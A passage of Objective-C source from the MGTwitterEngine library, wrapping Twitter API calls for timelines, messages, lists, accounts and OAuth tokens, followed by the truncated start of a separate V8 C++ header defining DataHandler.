- (NSString *)getHomeTimelineSinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count; // statuses/home_timeline
{
NSString *path = [NSString stringWithFormat:@"statuses/home_timeline.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterHomeTimelineRequest
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)getFollowedTimelineSinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count
{
return [self getFollowedTimelineSinceID:sinceID withMaximumID:0 startingAtPage:page count:count];
}
- (NSString *)getFollowedTimelineSinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count
{
NSString *path = [NSString stringWithFormat:@"statuses/friends_timeline.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterFollowedTimelineRequest
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)getUserTimelineFor:(NSString *)username sinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count
{
return [self getUserTimelineFor:username sinceID:sinceID withMaximumID:0 startingAtPage:0 count:count];
}
- (NSString *)getUserTimelineFor:(NSString *)username sinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count
{
NSString *path = [NSString stringWithFormat:@"statuses/user_timeline.%@", API_FORMAT];
MGTwitterRequestType requestType = MGTwitterUserTimelineRequest;
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
if (username) {
path = [NSString stringWithFormat:@"statuses/user_timeline/%@.%@", username, API_FORMAT];
requestType = MGTwitterUserTimelineForUserRequest;
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:requestType
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)getUpdate:(MGTwitterEngineID)updateID
{
NSString *path = [NSString stringWithFormat:@"statuses/show/%llu.%@", updateID, API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterUpdateGetRequest
responseType:MGTwitterStatus];
}
- (NSString *)sendUpdate:(NSString *)status
{
return [self sendUpdate:status inReplyTo:0];
}
- (NSString *)sendUpdate:(NSString *)status withLatitude:(MGTwitterEngineLocationDegrees)latitude longitude:(MGTwitterEngineLocationDegrees)longitude
{
return [self sendUpdate:status inReplyTo:0 withLatitude:latitude longitude:longitude];
}
- (NSString *)sendUpdate:(NSString *)status inReplyTo:(MGTwitterEngineID)updateID
{
return [self sendUpdate:status inReplyTo:updateID withLatitude:DBL_MAX longitude:DBL_MAX]; // DBL_MAX denotes invalid/unused location
}
- (NSString *)sendUpdate:(NSString *)status inReplyTo:(MGTwitterEngineID)updateID withLatitude:(MGTwitterEngineLocationDegrees)latitude longitude:(MGTwitterEngineLocationDegrees)longitude
{
if (!status) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"statuses/update.%@", API_FORMAT];
// Convert the status to Unicode Normalized Form C to conform to Twitter's character counting requirement. See http://apiwiki.twitter.com/Counting-Characters .
NSString *trimmedText = [status precomposedStringWithCanonicalMapping];
if ([trimmedText length] > MAX_MESSAGE_LENGTH) {
trimmedText = [trimmedText substringToIndex:MAX_MESSAGE_LENGTH];
}
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
[params setObject:trimmedText forKey:@"status"];
if (updateID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", updateID] forKey:@"in_reply_to_status_id"];
}
if (latitude >= -90.0 && latitude <= 90.0 &&
longitude >= -180.0 && longitude <= 180.0) {
[params setObject:[NSString stringWithFormat:@"%.8f", latitude] forKey:@"lat"];
[params setObject:[NSString stringWithFormat:@"%.8f", longitude] forKey:@"long"];
}
NSString *body = [self _queryStringWithBase:nil parameters:params prefixed:NO];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:params body:body
requestType:MGTwitterUpdateSendRequest
responseType:MGTwitterStatus];
}
- (NSString *)sendRetweet:(MGTwitterEngineID)tweetID {
NSString *path = [NSString stringWithFormat:@"statuses/retweet/%llu.%@", tweetID, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:nil body:nil
requestType:MGTwitterRetweetSendRequest
responseType:MGTwitterStatus];
}
#pragma mark -
- (NSString *)getRepliesStartingAtPage:(int)page
{
return [self getRepliesSinceID:0 startingAtPage:page count:0]; // zero means default
}
- (NSString *)getRepliesSinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count
{
return [self getRepliesSinceID:sinceID withMaximumID:0 startingAtPage:page count:count];
}
- (NSString *)getRepliesSinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count
{
// NOTE: identi.ca can't handle mentions URL yet...
// NSString *path = [NSString stringWithFormat:@"statuses/mentions.%@", API_FORMAT];
NSString *path = [NSString stringWithFormat:@"statuses/replies.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterRepliesRequest
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)deleteUpdate:(MGTwitterEngineID)updateID
{
NSString *path = [NSString stringWithFormat:@"statuses/destroy/%llu.%@", updateID, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterUpdateDeleteRequest
responseType:MGTwitterStatus];
}
#pragma mark -
- (NSString *)getFeaturedUsers
{
NSString *path = [NSString stringWithFormat:@"statuses/featured.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterFeaturedUsersRequest
responseType:MGTwitterUsers];
}
#pragma mark User methods
- (NSString *)getRecentlyUpdatedFriendsFor:(NSString *)username startingAtPage:(int)page
{
NSString *path = [NSString stringWithFormat:@"statuses/friends.%@", API_FORMAT];
MGTwitterRequestType requestType = MGTwitterFriendUpdatesRequest;
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (username) {
path = [NSString stringWithFormat:@"statuses/friends/%@.%@", username, API_FORMAT];
requestType = MGTwitterFriendUpdatesForUserRequest;
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:requestType
responseType:MGTwitterUsers];
}
#pragma mark -
- (NSString *)getFollowersIncludingCurrentStatus:(BOOL)flag
{
NSString *path = [NSString stringWithFormat:@"statuses/followers.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (!flag) {
[params setObject:@"true" forKey:@"lite"]; // slightly bizarre, but correct.
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterFollowerUpdatesRequest
responseType:MGTwitterUsers];
}
#pragma mark -
- (NSString *)getUserInformationFor:(NSString *)usernameOrID
{
if (!usernameOrID) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"users/show/%@.%@", usernameOrID, API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterUserInformationRequest
responseType:MGTwitterUser];
}
- (NSString *)getBulkUserInformationFor:(NSString *)userIDs
{
if (!userIDs) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"users/lookup.%@?user_id=%@", API_FORMAT, userIDs];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterBulkUserInformationRequest
responseType:MGTwitterUsers];
}
- (NSString *)getUserInformationForEmail:(NSString *)email
{
NSString *path = [NSString stringWithFormat:@"users/show.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (email) {
[params setObject:email forKey:@"email"];
} else {
return nil;
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterUserInformationRequest
responseType:MGTwitterUser];
}
#pragma mark Direct Message methods
- (NSString *)getDirectMessagesSinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page
{
return [self getDirectMessagesSinceID:sinceID withMaximumID:0 startingAtPage:page count:0];
}
- (NSString *)getDirectMessagesSinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count
{
NSString *path = [NSString stringWithFormat:@"direct_messages.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterDirectMessagesRequest
responseType:MGTwitterDirectMessages];
}
#pragma mark -
- (NSString *)getSentDirectMessagesSinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page
{
return [self getSentDirectMessagesSinceID:sinceID withMaximumID:0 startingAtPage:page count:0];
}
- (NSString *)getSentDirectMessagesSinceID:(MGTwitterEngineID)sinceID withMaximumID:(MGTwitterEngineID)maxID startingAtPage:(int)page count:(int)count
{
NSString *path = [NSString stringWithFormat:@"direct_messages/sent.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (maxID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", maxID] forKey:@"max_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"count"];
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterDirectMessagesSentRequest
responseType:MGTwitterDirectMessages];
}
#pragma mark -
- (NSString *)sendDirectMessage:(NSString *)message to:(NSString *)username
{
if (!message || !username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"direct_messages/new.%@", API_FORMAT];
NSString *trimmedText = message;
if ([trimmedText length] > MAX_MESSAGE_LENGTH) {
trimmedText = [trimmedText substringToIndex:MAX_MESSAGE_LENGTH];
}
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
[params setObject:trimmedText forKey:@"text"];
[params setObject:username forKey:@"user"];
NSString *body = [self _queryStringWithBase:nil parameters:params prefixed:NO];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:params body:body
requestType:MGTwitterDirectMessageSendRequest
responseType:MGTwitterDirectMessage];
}
- (NSString *)deleteDirectMessage:(MGTwitterEngineID)updateID
{
NSString *path = [NSString stringWithFormat:@"direct_messages/destroy/%llu.%@", updateID, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterDirectMessageDeleteRequest
responseType:MGTwitterDirectMessage];
}
#pragma mark Lists
- (NSString *)getListsForUser:(NSString *)username
{
NSString *path = [NSString stringWithFormat:@"%@/lists.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterUserListsRequest
responseType:MGTwitterUserLists];
}
- (NSString *)createListForUser:(NSString *)username withName:(NSString *)listName withOptions:(NSDictionary *)options;
{
if (!username || !listName) {
NSLog(@"returning nil");
return nil;
}
NSString *path = [NSString stringWithFormat:@"%@/lists.%@", username, API_FORMAT];
NSMutableDictionary *queryParameters = [NSMutableDictionary dictionaryWithCapacity:0];
if ([options objectForKey:@"mode"]) {
[queryParameters setObject:[options objectForKey:@"mode"] forKey:@"mode"];
}
if ([options objectForKey:@"description"]) {
[queryParameters setObject:[options objectForKey:@"description"] forKey:@"description"];
}
[queryParameters setObject:listName forKey:@"name"];
NSString *body = [self _queryStringWithBase:nil parameters:queryParameters prefixed:NO];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:queryParameters body:body
requestType:MGTwitterUserListCreate
responseType:MGTwitterUserLists];
}
- (NSString *)updateListForUser:(NSString *)username withID:(MGTwitterEngineID)listID withOptions:(NSDictionary *)options
{
if (!username || !listID) {
NSLog(@"returning nil");
return nil;
}
NSString *path = [NSString stringWithFormat:@"%@/lists/%llu.%@", username, listID, API_FORMAT];
NSMutableDictionary *queryParameters = [NSMutableDictionary dictionaryWithCapacity:0];
if ([options objectForKey:@"name"]) {
[queryParameters setObject:[options objectForKey:@"name"] forKey:@"name"];
}
if ([options objectForKey:@"mode"]) {
[queryParameters setObject:[options objectForKey:@"mode"] forKey:@"mode"];
}
if ([options objectForKey:@"description"]) {
[queryParameters setObject:[options objectForKey:@"description"] forKey:@"description"];
}
NSString *body = [self _queryStringWithBase:nil parameters:queryParameters prefixed:NO];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:queryParameters body:body
requestType:MGTwitterUserListCreate
responseType:MGTwitterUserLists];
}
- (NSString *)getListForUser:(NSString *)username withID:(MGTwitterEngineID)listID
{
if (!username || !listID) {
NSLog(@"returning nil");
return nil;
}
NSString *path = [NSString stringWithFormat:@"%@/lists/%llu.%@", username, listID, API_FORMAT];
NSString *body = [self _queryStringWithBase:nil parameters:nil prefixed:NO];
return [self _sendRequestWithMethod:nil path:path
queryParameters:nil body:body
requestType:MGTwitterUserListCreate
responseType:MGTwitterUserLists];
}
#pragma mark Friendship methods
- (NSString *)enableUpdatesFor:(NSString *)username
{
// i.e. follow
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"friendships/create/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterUpdatesEnableRequest
responseType:MGTwitterUser];
}
- (NSString *)disableUpdatesFor:(NSString *)username
{
// i.e. no longer follow
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"friendships/destroy/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterUpdatesDisableRequest
responseType:MGTwitterUser];
}
- (NSString *)isUser:(NSString *)username1 receivingUpdatesFor:(NSString *)username2
{
if (!username1 || !username2) {
return nil;
}
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
[params setObject:username1 forKey:@"user_a"];
[params setObject:username2 forKey:@"user_b"];
NSString *path = [NSString stringWithFormat:@"friendships/exists.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterUpdatesCheckRequest
responseType:MGTwitterMiscellaneous];
}
#pragma mark Account methods
- (NSString *)checkUserCredentials
{
NSString *path = [NSString stringWithFormat:@"account/verify_credentials.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterUser];
}
- (NSString *)endUserSession
{
NSString *path = @"account/end_session"; // deliberately no format specified
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterGeneric];
}
- (NSString *)setProfileImageWithImageAtPath:(NSString *)pathToFile
{
NSString *path = [NSString stringWithFormat:@"account/update_profile_image.%@", API_FORMAT];
return [self _sendDataRequestWithMethod:HTTP_POST_METHOD
path:path
queryParameters:nil
filePath:pathToFile
body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterGeneric];
}
- (NSString *)setProfileBackgroundImageWithImageAtPath:(NSString *)pathToFile andTitle:(NSString *)title
{
NSString *path = [NSString stringWithFormat:@"account/update_profile_background_image.%@", API_FORMAT];
NSMutableDictionary *params = nil;
if (title) {
params = [NSMutableDictionary dictionaryWithCapacity:0];
[params setObject:title forKey:@"title"];
}
return [self _sendDataRequestWithMethod:HTTP_POST_METHOD
path:path
queryParameters:params
filePath:pathToFile
body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterGeneric];
}
#pragma mark -
// TODO: this API is deprecated, change to account/update_profile
- (NSString *)setLocation:(NSString *)location
{
if (!location) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"account/update_location.%@", API_FORMAT];
NSString *trimmedLocation = location;
if ([trimmedLocation length] > MAX_LOCATION_LENGTH) {
trimmedLocation = [trimmedLocation substringToIndex:MAX_LOCATION_LENGTH];
}
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
[params setObject:trimmedLocation forKey:@"location"];
NSString *body = [self _queryStringWithBase:nil parameters:params prefixed:NO];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path
queryParameters:params body:body
requestType:MGTwitterAccountLocationRequest
responseType:MGTwitterUser];
}
#pragma mark -
- (NSString *)setNotificationsDeliveryMethod:(NSString *)method
{
NSString *deliveryMethod = method;
if (!method || [method length] == 0) {
deliveryMethod = @"none";
}
NSString *path = [NSString stringWithFormat:@"account/update_delivery_device.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (deliveryMethod) {
[params setObject:deliveryMethod forKey:@"device"];
}
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:params body:nil
requestType:MGTwitterAccountDeliveryRequest
responseType:MGTwitterUser];
}
#pragma mark -
- (NSString *)getRateLimitStatus
{
NSString *path = [NSString stringWithFormat:@"account/rate_limit_status.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterAccountStatusRequest
responseType:MGTwitterMiscellaneous];
}
#pragma mark Favorite methods
- (NSString *)getFavoriteUpdatesFor:(NSString *)username startingAtPage:(int)page
{
NSString *path = [NSString stringWithFormat:@"favorites.%@", API_FORMAT];
MGTwitterRequestType requestType = MGTwitterFavoritesRequest;
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (username) {
path = [NSString stringWithFormat:@"favorites/%@.%@", username, API_FORMAT];
requestType = MGTwitterFavoritesForUserRequest;
}
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:requestType
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)markUpdate:(MGTwitterEngineID)updateID asFavorite:(BOOL)flag
{
NSString *path = nil;
MGTwitterRequestType requestType;
if (flag)
{
path = [NSString stringWithFormat:@"favorites/create/%llu.%@", updateID, API_FORMAT];
requestType = MGTwitterFavoritesEnableRequest;
}
else {
path = [NSString stringWithFormat:@"favorites/destroy/%llu.%@", updateID, API_FORMAT];
requestType = MGTwitterFavoritesDisableRequest;
}
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:requestType
responseType:MGTwitterStatus];
}
#pragma mark Notification methods
- (NSString *)enableNotificationsFor:(NSString *)username
{
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"notifications/follow/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterNotificationsEnableRequest
responseType:MGTwitterUser];
}
- (NSString *)disableNotificationsFor:(NSString *)username
{
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"notifications/leave/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterNotificationsDisableRequest
responseType:MGTwitterUser];
}
#pragma mark Block methods
- (NSString *)block:(NSString *)username
{
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"blocks/create/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterBlockEnableRequest
responseType:MGTwitterUser];
}
- (NSString *)unblock:(NSString *)username
{
if (!username) {
return nil;
}
NSString *path = [NSString stringWithFormat:@"blocks/destroy/%@.%@", username, API_FORMAT];
return [self _sendRequestWithMethod:HTTP_POST_METHOD path:path queryParameters:nil body:nil
requestType:MGTwitterBlockDisableRequest
responseType:MGTwitterUser];
}
#pragma mark Help methods
- (NSString *)testService
{
NSString *path = [NSString stringWithFormat:@"help/test.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterMiscellaneous];
}
- (NSString *)getDowntimeSchedule
{
NSString *path = [NSString stringWithFormat:@"help/downtime_schedule.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterAccountRequest
responseType:MGTwitterMiscellaneous];
}
#pragma mark Social Graph methods
- (NSString *)getFriendIDsFor:(NSString *)username startingFromCursor:(MGTwitterEngineCursorID)cursor
{
//NSLog(@"getFriendIDsFor:%@ atCursor:%lld", username, cursor);
if (cursor == 0 || [username isEqualToString:@""])
return nil;
NSString *path = [NSString stringWithFormat:@"friends/ids.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (username) {
path = [NSString stringWithFormat:@"friends/ids/%@.%@", username, API_FORMAT];
}
[params setObject:[NSString stringWithFormat:@"%lld", cursor] forKey:@"cursor"];
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterFriendIDsRequest
responseType:MGTwitterSocialGraph];
}
- (NSString *)getFollowerIDsFor:(NSString *)username startingFromCursor:(MGTwitterEngineCursorID)cursor
{
//NSLog(@"getFollowerIDsFor:%@ atCursor:%lld", username, cursor);
if (cursor == 0 || [username isEqualToString:@""])
return nil;
NSString *path = [NSString stringWithFormat:@"followers/ids.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (username) {
path = [NSString stringWithFormat:@"followers/ids/%@.%@", username, API_FORMAT];
}
[params setObject:[NSString stringWithFormat:@"%lld", cursor] forKey:@"cursor"];
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterFollowerIDsRequest
responseType:MGTwitterSocialGraph];
}
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
#pragma mark -
#pragma mark Search API methods
#pragma mark -
#pragma mark Search
- (NSString *)getSearchResultsForQuery:(NSString *)query
{
return [self getSearchResultsForQuery:query sinceID:0 startingAtPage:0 count:0]; // zero means default
}
- (NSString *)getSearchResultsForQuery:(NSString *)query sinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count
{
return [self getSearchResultsForQuery:query sinceID:sinceID startingAtPage:page count:count geocode:nil]; // zero means default
}
- (NSString *)getSearchResultsForQuery:(NSString *)query sinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count geocode:(NSString *)geocode
{
NSString *path = [NSString stringWithFormat:@"search.%@", API_FORMAT];
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithCapacity:0];
if (query) {
[params setObject:query forKey:@"q"];
}
if (sinceID > 0) {
[params setObject:[NSString stringWithFormat:@"%llu", sinceID] forKey:@"since_id"];
}
if (page > 0) {
[params setObject:[NSString stringWithFormat:@"%d", page] forKey:@"page"];
}
if (count > 0) {
[params setObject:[NSString stringWithFormat:@"%d", count] forKey:@"rpp"];
}
if (geocode) {
[params setObject:geocode forKey:@"geocode"];
}
/*
NOTE: These parameters are also available but not implemented yet:
lang: restricts tweets to the given language, given by an ISO 639-1 code.
Ex: http://search.twitter.com/search.atom?lang=en&q=devo
geocode: returns tweets by users located within a given radius of the given latitude/longitude, where the user's
location is taken from their Twitter profile. The parameter value is specified by "latitide,longitude,radius",
where radius units must be specified as either "mi" (miles) or "km" (kilometers).
Note that you cannot use the near operator via the API to geocode arbitrary locations; however you can use this
geocode parameter to search near geocodes directly.
Ex: http://search.twitter.com/search.atom?geocode=40.757929%2C-73.985506%2C25km
*/
return [self _sendRequestWithMethod:nil path:path queryParameters:params body:nil
requestType:MGTwitterSearchRequest
responseType:MGTwitterSearchResults];
}
- (NSString *)getCurrentTrends
{
NSString *path = [NSString stringWithFormat:@"trends/current.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterSearchCurrentTrendsRequest
responseType:MGTwitterSearchResults];
}
#endif
@end
@implementation MGTwitterEngine (BasicAuth)
- (NSString *)username
{
return [[_username retain] autorelease];
}
- (void)setUsername:(NSString *)newUsername
{
// Set new credentials.
[_username release];
_username = [newUsername retain];
}
- (NSString *)password
{
return [[_password retain] autorelease];
}
- (void)setUsername:(NSString *)newUsername password:(NSString *)newPassword
{
// Set new credentials.
[_username release];
_username = [newUsername retain];
[_password release];
_password = [newPassword retain];
if ([self clearsCookies]) {
// Remove all cookies for twitter, to ensure next connection uses new credentials.
NSString *urlString = [NSString stringWithFormat:@"%@://%@",
(_secureConnection) ? @"https" : @"http",
_APIDomain];
NSURL *url = [NSURL URLWithString:urlString];
NSHTTPCookieStorage *cookieStorage = [NSHTTPCookieStorage sharedHTTPCookieStorage];
NSEnumerator *enumerator = [[cookieStorage cookiesForURL:url] objectEnumerator];
NSHTTPCookie *cookie = nil;
while ((cookie = [enumerator nextObject])) {
[cookieStorage deleteCookie:cookie];
}
}
}
@end
@implementation MGTwitterEngine (OAuth)
- (void)setConsumerKey:(NSString *)key secret:(NSString *)secret{
[_consumerKey autorelease];
_consumerKey = [key copy];
[_consumerSecret autorelease];
_consumerSecret = [secret copy];
}
- (NSString *)consumerKey{
return _consumerKey;
}
- (NSString *)consumerSecret{
return _consumerSecret;
}
- (void)setAccessToken: (OAToken *)token{
[_accessToken autorelease];
_accessToken = [token retain];
}
- (OAToken *)accessToken{
return _accessToken;
}
- (NSString *)getXAuthAccessTokenForUsername:(NSString *)username
password:(NSString *)password{
OAConsumer *consumer = [[[OAConsumer alloc] initWithKey:[self consumerKey] secret:[self consumerSecret]] autorelease];
OAMutableURLRequest *request = [[OAMutableURLRequest alloc] initWithURL:[NSURL URLWithString:@"https://api.twitter.com/oauth/access_token"]
consumer:consumer
token:nil // xAuth needs no request token?
realm:nil // our service provider doesn't specify a realm
signatureProvider:nil]; // use the default method, HMAC-SHA1
[request setHTTPMethod:@"POST"];
[request setParameters:[NSArray arrayWithObjects:
[OARequestParameter requestParameter:@"x_auth_mode" value:@"client_auth"],
[OARequestParameter requestParameter:@"x_auth_username" value:username],
[OARequestParameter requestParameter:@"x_auth_password" value:password],
nil]];
// Create a connection using this request, with the default timeout and caching policy,
// and appropriate Twitter request and response types for parsing and error reporting.
MGTwitterHTTPURLConnection *connection;
connection = [[MGTwitterHTTPURLConnection alloc] initWithRequest:request
delegate:self
requestType:MGTwitterOAuthTokenRequest
responseType:MGTwitterOAuthToken];
[request release], request = nil;
if (!connection) {
return nil;
} else {
[_connections setObject:connection forKey:[connection identifier]];
[connection release];
}
if ([self _isValidDelegateForSelector:@selector(connectionStarted:)])
[_delegate connectionStarted:[connection identifier]];
return [connection identifier];
}
@end
| {
"pile_set_name": "Github"
} |
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_OBJECTS_DATA_HANDLER_H_
#define V8_OBJECTS_DATA_HANDLER_H_
#include "src/objects/struct.h"
// Has to be the last include (doesn't have include guards):
#include "src/objects/object-macros.h"
namespace v8 {
namespace internal {
// DataHandler is a base class for load and store handlers that can't be
// encoded in one Smi. Kind of a handler can be deduced from instance type.
class DataHandler : public Struct {
public:
// [smi_handler]: A Smi which encodes a handler or Code object (we still
// use code handlers for accessing lexical environment variables, but soon
